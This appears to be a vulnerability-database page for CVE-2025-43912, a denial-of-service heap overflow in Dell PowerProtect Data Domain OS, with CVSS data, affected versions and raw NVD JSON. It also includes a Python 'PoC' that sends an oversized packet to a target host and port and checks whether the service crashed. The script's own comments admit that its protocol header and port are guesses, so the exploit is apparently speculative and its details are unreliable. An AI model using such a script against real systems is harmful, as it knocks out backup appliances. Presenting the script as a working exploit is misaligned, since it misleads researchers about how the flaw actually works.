Security Vulnerability Report
中文
CVE-2025-43912 CVSS 5.3 MEDIUM

CVE-2025-43912

Published: 2025-10-07 19:15:38
Last Modified: 2025-10-14 20:09:14

Description

Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain a Heap-based Buffer Overflow vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Denial of service.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
Dell PowerProtect Data Domain DD OS Feature Release 7.7.1.0 - 8.3.0.15
Dell PowerProtect Data Domain DD OS LTS2025 8.3.1.0
Dell PowerProtect Data Domain DD OS LTS2024 7.13.1.0 - 7.13.1.30
Dell PowerProtect Data Domain DD OS LTS2023 7.10.1.0 - 7.10.1.60

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-43912 - Dell PowerProtect Data Domain Heap-based Buffer Overflow PoC # This is a conceptual proof-of-concept demonstrating the vulnerability trigger. # The actual vulnerable endpoint and payload structure may vary based on # the specific DD OS version and service configuration. import socket import struct import sys TARGET_HOST = "192.168.1.100" # Target Dell PowerProtect Data Domain IP TARGET_PORT = 3009 # Common DD management/replication port (adjust as needed) BUFFER_SIZE = 8192 # Oversized payload to trigger heap overflow def build_malicious_packet(): """ Build a crafted network packet with an oversized payload field to trigger the heap-based buffer overflow vulnerability. """ # Protocol header (simplified - actual protocol may differ) header = b"\x00\x00\x00\x01" # Magic / version bytes header += struct.pack(">H", 0x0001) # Command type header += struct.pack(">I", BUFFER_SIZE) # Declared payload length (mismatched) # Oversized payload to overflow heap buffer payload = b"\x41" * BUFFER_SIZE # Fill with 'A' (0x41) packet = header + payload return packet def exploit(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Sending oversized payload ({BUFFER_SIZE} bytes) to trigger heap overflow...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) packet = build_malicious_packet() sock.send(packet) response = sock.recv(4096) print(f"[*] Response received: {len(response)} bytes") # Check if service crashed (no further response expected) try: sock.send(b"\x00" * 16) sock.recv(1024) print("[-] Service still responsive - exploit may have failed") except (socket.timeout, ConnectionResetError, BrokenPipeError): print("[+] Service appears to have crashed - DoS successful!") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] if len(sys.argv) > 2: TARGET_PORT = int(sys.argv[2]) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43912", "sourceIdentifier": "[email protected]", "published": "2025-10-07T19:15:37.870", "lastModified": "2025-10-14T20:09:14.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain a Heap-based Buffer Overflow vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.1.0", "versionEndExcluding": "7.10.1.70", "matchCriteriaId": "7FCE50EA-F2B8-4455-A489-1947B0CBFEEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.13.1.0", "versionEndExcluding": "7.13.1.40", "matchCriteriaId": "C0EA46C5-6776-411A-8FBC-5B32BC216888"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0.0", "versionEndIncluding": "8.3.0.15", "matchCriteriaId": "F1DB489A-E2CF-4477-A08B-101B569A714E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.1.0", "versionEndExcluding": "8.3.1.10", "matchCriteriaId": "9E0743E3-14E7-4FF9-88C5-E038D62F2344"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000376224/dsa-2025-333-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}